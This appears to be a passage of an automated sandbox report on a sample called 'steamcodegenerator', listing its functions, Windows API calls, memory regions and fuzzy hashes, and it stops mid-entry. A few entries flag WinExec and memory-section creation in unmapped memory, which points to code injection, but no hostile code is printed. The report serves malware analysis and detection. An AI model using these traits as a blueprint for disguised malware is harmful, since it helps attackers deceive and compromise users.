Opcode Fuzzy Hash: c35681c349dced017d86a5f3adb7903ad82b0333e43f206d0047bf9162d83481
Instruction Fuzzy Hash: 41515562B19B86C5ED18DF22D5092BD6270AF55FD0F984232DE5DABB96DE3CE061C300

Function 00007FF663548F04 Relevance: 3.1, APIs: 2, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6635490D0: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6635490E4

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF663548F2D
__scrt_release_startup_lock.LIBCMT ref: 00007FF663548F9B

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 1236291503-0
Opcode ID: d1d0374af1531000f124c1798acd8703a075724bd8eabcca79cb574d2685e6b7
Instruction ID: 89102133c67ab82854caf1ffe5532a1d8a71d4222b238106eab94628c94cccea
Opcode Fuzzy Hash: d1d0374af1531000f124c1798acd8703a075724bd8eabcca79cb574d2685e6b7
Instruction Fuzzy Hash: 25311521A0C283C1FA58AB6695533B963B1AF85784F445038EA4EEF3E7DE2DF814C341

Function 00007FF66355A6E8 Relevance: 3.1, APIs: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF66355A761
GetFileType.KERNEL32 ref: 00007FF66355A777

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 080277b50c5276ac360943eb1b1c156bec9c5cf942e338d9d9fe34af66a790ff
Instruction ID: 7fb30ef1a6a770e04211eb73f293b00ca59873c0d0d05a7defbbad482b99c966
Opcode Fuzzy Hash: 080277b50c5276ac360943eb1b1c156bec9c5cf942e338d9d9fe34af66a790ff
Instruction Fuzzy Hash: EE31C532A28B46D2EB618B1585911787670FB45BB0F641739DB6EAB3E0CF38F4A1C350

Function 00007FF663548DB8 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF663548DE8

Part of subcall function 00007FF663546668: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF663546671

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF663548DEE

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: 44696b21bd67145d8e0760ec95888dcbd043158a58de3966fd1fe4f79ebb6704
Instruction ID: 938c4c1f96f4a16acec81b8396cca89ae6551491570624f576198917d2568126
Opcode Fuzzy Hash: 44696b21bd67145d8e0760ec95888dcbd043158a58de3966fd1fe4f79ebb6704
Instruction Fuzzy Hash: 95F03A11E1A606C1FE2D666614072B501604F18370E180630DE7CAF7D3EE2EB4B58291

Function 0000022AF4E51360 Relevance: 1.6, APIs: 1, Instructions: 106
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WinExec.KERNEL32 ref: 0000022AF4E5143A

Memory Dump Source

Source File: 00000000.00000002.3629964375.0000022AF4E51000.00000020.10000000.00040000.00000000.sdmp, Offset: 0000022AF4E51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22af4e51000_steamcodegenerator.jbxd

Similarity

API ID: Exec
String ID:
API String ID: 459137531-0
Opcode ID: 1ce1e83e12cea887f5631db8c3beb4c8b375af077da88e97cfda06e046574df1
Instruction ID: efc94ce1ca0e1e85637900c4ec84d01a9e382cb6c54f0ea10dbbe69257485c32
Opcode Fuzzy Hash: 1ce1e83e12cea887f5631db8c3beb4c8b375af077da88e97cfda06e046574df1
Instruction Fuzzy Hash: 14318431204D084FEB48FF74DD5DBAA77A6E798301F00853A950BC7665DA7DCA05CB41

Function 0000022AF4E179F8 Relevance: 1.6, APIs: 1, Instructions: 332
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 0000022AF4E17A06

Part of subcall function 0000022AF4E1819F: NtCreateSection.NTDLL ref: 0000022AF4E1826C

Memory Dump Source

Source File: 00000000.00000002.3629921626.0000022AF4E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022AF4E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22af4e10000_steamcodegenerator.jbxd

Yara matches

Similarity

API ID: AllocCreateSectionVirtual
String ID:
API String ID: 1590197315-0
Opcode ID: eb4d697b95cde0fb80402334880357f1ef1fd47815b20976dc2f64c6329480eb
Instruction ID: 66f182a7c7571d9a61b3a0ea4555a767a1dbaf515bb9618706b2eccc306aef4a
Opcode Fuzzy Hash: eb4d697b95cde0fb80402334880357f1ef1fd47815b20976dc2f64c6329480eb
Instruction Fuzzy Hash: B9B1F7303549055BEB69DA68C5887EBB3D1FBC8700F140169D54AC3982EB2EE952CE83

Function 00007FF6635490D0 Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6635490E4

Part of subcall function 00007FF66354AE30: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF66354AE38
Part of subcall function 00007FF66354AE30: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF66354AE3D

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: 474fc897f0be47f68d46e62fd6981f481194b323a22c8996711b27343b9b6b83
Instruction ID: ab4b8f37921049d3dadbf3cd551d987732db1c0aca2a0c0d4de58851d099ed05
Opcode Fuzzy Hash: 474fc897f0be47f68d46e62fd6981f481194b323a22c8996711b27343b9b6b83
Instruction Fuzzy Hash: D5E0BD20E2D283C0FEAC262113072B906B01F22349F405078E85EFF3839E0E36765222

Function 00007FF663558B30 Relevance: 1.3, APIs: 1, Instructions: 29
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF66355F7B1,?,?,00000000,00007FF663564803,?,?,?,00007FF663557CF3,?,?,?,00007FF663557BE9), ref: 00007FF663558B6E

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: bd55b1ea0fc155a6d1c409fefb9d932666b1c806ec432e723f80dda1b82eeeb6
Instruction ID: 77f06f87dff7bb763c0fa1be9674a5d89df1adc08da76f4a3cc805b8f86322c2
Opcode Fuzzy Hash: bd55b1ea0fc155a6d1c409fefb9d932666b1c806ec432e723f80dda1b82eeeb6
Instruction Fuzzy Hash: 1FF058A1F29746C5FA6426A2588327431B84F847B0F0C4A30D93EEF3D2DE2CB4404711

Non-executed Functions

Function 00007FF663564B84 Relevance: 20.4, APIs: 8, Strings: 3, Instructions: 1156COMMON

Download Yara Rule

Strings

,, xrefs: 00007FF663564BC1
s, xrefs: 00007FF663565BAD
s, xrefs: 00007FF663565C8E

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: s$s$,
API String ID: 3215553584-728586918
Opcode ID: 06cdfdd089d7f53002eee445f53705af94493326fe36f7a161390db78508ff4b
Instruction ID: 7d7164af15473993dbf3af6ce78a060b9e5a4f90c6fe5a2827e76a8b5351ebc6
Opcode Fuzzy Hash: 06cdfdd089d7f53002eee445f53705af94493326fe36f7a161390db78508ff4b
Instruction Fuzzy Hash: 6AA2F172B18282CBE7248E66D4427FC37B1FB55788F505535DA0AAFB95DF38AA00CB40

Function 00007FF663563ADC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF66355A298: GetLastError.KERNEL32 ref: 00007FF66355A2A7
Part of subcall function 00007FF66355A298: FlsGetValue.KERNEL32 ref: 00007FF66355A2BC
Part of subcall function 00007FF66355A298: SetLastError.KERNEL32 ref: 00007FF66355A347

TranslateName.LIBCMT ref: 00007FF663563B46
TranslateName.LIBCMT ref: 00007FF663563B81
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF663556B2C), ref: 00007FF663563BC8
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF663556B2C), ref: 00007FF663563C00
GetLocaleInfoW.KERNEL32 ref: 00007FF663563DBD

Strings

utf8, xrefs: 00007FF663563CE4

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue
String ID: utf8
API String ID: 3069159798-905460609
Opcode ID: d4b3ff6ab2fd706453dd6c794e4175711012dd38f10e3c9d27665adbabbc73f4
Instruction ID: faaf3df6ff013abf0e4d628c6ba3c6916d7146ea831463230184bfc4619a0357
Opcode Fuzzy Hash: d4b3ff6ab2fd706453dd6c794e4175711012dd38f10e3c9d27665adbabbc73f4
Instruction Fuzzy Hash: 84918C32B08742C6EB24AF22D9422B963B4EF46B80F454135DA4DAB7B6DF3DE955C340

Function 00007FF663564524 Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF66355A298: GetLastError.KERNEL32 ref: 00007FF66355A2A7
Part of subcall function 00007FF66355A298: FlsGetValue.KERNEL32 ref: 00007FF66355A2BC
Part of subcall function 00007FF66355A298: SetLastError.KERNEL32 ref: 00007FF66355A347

Part of subcall function 00007FF66355A298: FlsSetValue.KERNEL32 ref: 00007FF66355A2DD

GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF663564694

Part of subcall function 00007FF66355A298: FlsSetValue.KERNEL32 ref: 00007FF66355A30A
Part of subcall function 00007FF66355A298: FlsSetValue.KERNEL32 ref: 00007FF66355A31B
Part of subcall function 00007FF66355A298: FlsSetValue.KERNEL32 ref: 00007FF66355A32C

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF663556B25), ref: 00007FF66356467B
ProcessCodePage.LIBCMT ref: 00007FF6635646BE
IsValidCodePage.KERNEL32 ref: 00007FF6635646D0
IsValidLocale.KERNEL32 ref: 00007FF6635646E6
GetLocaleInfoW.KERNEL32 ref: 00007FF663564742
GetLocaleInfoW.KERNEL32 ref: 00007FF66356475E

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: 9965b17ae3c4a17e3d0caa9ea39aea03ad22011a5320ec8fc02cfc6467b481ea
Instruction ID: e2ce7bf85bdb2070c59ed0fcb70d3d38a893e4068297cad81bc644bca21dcfa3
Opcode Fuzzy Hash: 9965b17ae3c4a17e3d0caa9ea39aea03ad22011a5320ec8fc02cfc6467b481ea
Instruction Fuzzy Hash: F6717DB2F18642CAFB519F62D8626BD23B4BF46744F444135CA0DAB7A5EF3CA445C390

Function 00007FF66354998C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6635499A8
RtlCaptureContext.KERNEL32 ref: 00007FF6635499D5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6635499EF
RtlVirtualUnwind.KERNEL32 ref: 00007FF663549A30
IsDebuggerPresent.KERNEL32 ref: 00007FF663549A84
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF663549AA1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF663549AAC

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 98028c3c7c245ce19bddfd2eddf14e9f2f0bacc6a8fa3fd2ff093612927a1805
Instruction ID: 7e480425bca8bd724050d53f4c31735c7e6727ba6155bc1e255bac78acd69230
Opcode Fuzzy Hash: 98028c3c7c245ce19bddfd2eddf14e9f2f0bacc6a8fa3fd2ff093612927a1805
Instruction Fuzzy Hash: 7E314C72608B81C6EB649F62E8413ED73B0FB85754F04403ADA4E9BB99EF38D548C710

Function 00007FF663551D58 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF663551DD1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF663551DE9
RtlVirtualUnwind.KERNEL32 ref: 00007FF663551E24
IsDebuggerPresent.KERNEL32 ref: 00007FF663551E5D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF663551E67
UnhandledExceptionFilter.KERNEL32 ref: 00007FF663551E72

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 8912553d44b3abefc55f9a8b3a26313e64a573415501656d81ef5f530cc03b7e
Instruction ID: ed05809610c7604cd59a1c5fd38d68a31d3560623c9cf61532107b31542aed43
Opcode Fuzzy Hash: 8912553d44b3abefc55f9a8b3a26313e64a573415501656d81ef5f530cc03b7e
Instruction Fuzzy Hash: 00318E36608F81C6DB60DF25E8412AE77B0FB89764F400135EA9D97B65DF38D155CB00

Function 00007FF663542DE0 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 490COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6635430BA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF663543396

Strings

+, xrefs: 00007FF6635433E1
%, xrefs: 00007FF6635433C4

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: %$+
API String ID: 3668304517-2626897407
Opcode ID: 269d37533fdaf201db9261dc3333217303a5f80c2e6368c3b5d31c85d833f6b3
Instruction ID: 3db07df3b28ffbb761da1e23f136007701d8720b5556fe52907c3418695e30b9
Opcode Fuzzy Hash: 269d37533fdaf201db9261dc3333217303a5f80c2e6368c3b5d31c85d833f6b3
Instruction Fuzzy Hash: 60123422B18681CAFB28CB65D8423FD6371AB55788F444131DE4DABB9ADF3CE565C300

Function 00007FF663549880 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6635498AC
GetCurrentThreadId.KERNEL32 ref: 00007FF6635498BA
GetCurrentProcessId.KERNEL32 ref: 00007FF6635498C6
QueryPerformanceCounter.KERNEL32 ref: 00007FF6635498D6

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: cabce6d9e3ae1a9f9b79acc04b8ec2d00ffbc707921c0ad921e752880e15d35e
Instruction ID: ff304e01ce83314a87cdb20be244b4c5083aa8c57962569ab58408ac636683ae
Opcode Fuzzy Hash: cabce6d9e3ae1a9f9b79acc04b8ec2d00ffbc707921c0ad921e752880e15d35e
Instruction Fuzzy Hash: A7111F22B14F06C9EB00DF61E8562A933B4F759758F440931EA6D97764DF78D1548340

Function 00007FF663564C0B Relevance: 5.2, Strings: 4, Instructions: 198COMMON

Download Yara Rule

Strings

1#IND, xrefs: 00007FF663564C5B
1#QNAN, xrefs: 00007FF663564C87
1#INF, xrefs: 00007FF663564C97
1#SNAN, xrefs: 00007FF663564C7E

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 3215553584-2761157908
Opcode ID: b2729346d47deeb60f377ee9dc525e25925e1ea60ab6d02c77dc29d9f41ed541
Instruction ID: 354569c4c8186f84818df684c5b5acd4bb155f0a4c05f6d96b8241ad26e926c0
Opcode Fuzzy Hash: b2729346d47deeb60f377ee9dc525e25925e1ea60ab6d02c77dc29d9f41ed541
Instruction Fuzzy Hash: 4E7103B2E18242CAE7258F66D4527BD66B1AB82794F004635DA1DEFBD5DE3CF9408B00

Function 00007FF663554910 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF663554976
memcpy_s.LIBCPMT ref: 00007FF6635549A1

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: a3a34dc7f104a5757306e0e4006adbba08ef9a00a3e13a0073f806107d450ba3
Instruction ID: 9cab9932bcc3373fa5fcbf709fdcc525b03dcc35a2359ff31f6655459e01af5e
Opcode Fuzzy Hash: a3a34dc7f104a5757306e0e4006adbba08ef9a00a3e13a0073f806107d450ba3
Instruction Fuzzy Hash: CEC1E3B2B18286C7EB248F19E04566AB7B1F784BA4F468134DB4A9B744DF3DF811CB40

Function 00007FF663563FA0 Relevance: 4.7, APIs: 3, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF66355A298: GetLastError.KERNEL32 ref: 00007FF66355A2A7
Part of subcall function 00007FF66355A298: FlsGetValue.KERNEL32 ref: 00007FF66355A2BC
Part of subcall function 00007FF66355A298: SetLastError.KERNEL32 ref: 00007FF66355A347

Part of subcall function 00007FF66355A298: FlsSetValue.KERNEL32 ref: 00007FF66355A2DD

GetLocaleInfoW.KERNEL32 ref: 00007FF66356400C

Part of subcall function 00007FF66355FD54: _invalid_parameter_noinfo.LIBCMT ref: 00007FF66355FD71

GetLocaleInfoW.KERNEL32 ref: 00007FF663564055

Part of subcall function 00007FF66355FD54: _invalid_parameter_noinfo.LIBCMT ref: 00007FF66355FDCA

GetLocaleInfoW.KERNEL32 ref: 00007FF66356411D

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID:
API String ID: 1791019856-0
Opcode ID: 4fcf00f24d458d487f226e0140c30a747feae87a0b699733a31c15bd732d9dab
Instruction ID: 8f33312c174ea9138918b28179886efe106a5c8f2c2aae455c8b626b321b1371
Opcode Fuzzy Hash: 4fcf00f24d458d487f226e0140c30a747feae87a0b699733a31c15bd732d9dab
Instruction Fuzzy Hash: AC6180B2A08682CAEB349F12D5622B973B1FB95750F048135CB5EEB7A1DE3CE495C700

Function 00007FF6635590FC Relevance: 3.9, Strings: 3, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF663559286
e+000, xrefs: 00007FF663559209
-, xrefs: 00007FF66355925B

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID:
String ID: -$e+000$gfff
API String ID: 0-2620144452
Opcode ID: 798b48c96635f930ac666b1b5a48e237ac275f191e21e12dc5bb9441e7330c16
Instruction ID: bab8618ff5d6b0e53da6e8d78e1ad5a702c4bb7b50c5c59f86044478b1f3b435
Opcode Fuzzy Hash: 798b48c96635f930ac666b1b5a48e237ac275f191e21e12dc5bb9441e7330c16
Instruction Fuzzy Hash: 0A5158B2B182D586E7648E35D8067697BA1E785BA4F488231CBAC9FBD1DF3DE440C701

Function 00007FF66355B7F8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF663556CFE), ref: 00007FF66355B86C

Strings

GetLocaleInfoEx, xrefs: 00007FF66355B814, 00007FF66355B825

Memory Dump Source

